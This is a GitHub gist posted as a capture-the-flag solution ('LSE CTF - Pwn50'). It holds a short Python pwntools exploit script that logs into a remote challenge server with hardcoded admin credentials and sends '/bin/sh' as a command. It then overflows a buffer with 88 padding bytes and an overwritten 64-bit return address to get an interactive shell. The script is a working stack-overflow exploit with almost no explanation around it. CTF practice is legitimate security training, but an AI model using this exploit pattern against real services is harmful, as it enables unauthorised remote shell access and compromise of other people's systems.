Skip to content

Instantly share code, notes, and snippets.

@faidamine
Created March 14, 2017 21:02
Show Gist options
  • Save faidamine/966abb7883e4038c7850d7bf8505a1ba to your computer and use it in GitHub Desktop.
Save faidamine/966abb7883e4038c7850d7bf8505a1ba to your computer and use it in GitHub Desktop.
LSE CTF - Pwn50
#!/usr/bin/python
#Author : Faid Amine
from pwn import *
#LSE{e4xxxxxxxxxxx}
#Login Info
user = "admin"
passw = "T6OBSh2i"
s = remote('ctf.lse.epita.fr',52190)
command = "/bin/sh"
off = 88
#### PAYLOAD
payload = "A"*off
payload += p64(0x40084a)
## Connect
s.recvuntil("username: ")
s.sendline(user)
s.recvuntil("password: ")
s.sendline(passw)
s.recvuntil("choice: ")
s.sendline("1")
### Send Command /bin/sh
s.recvuntil("Command: ")
s.sendline(command)
### Send Payload
s.recvuntil("choice: ")
s.sendline(payload)
### Exit
s.recvuntil("choice: ")
s.sendline("3")
s.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment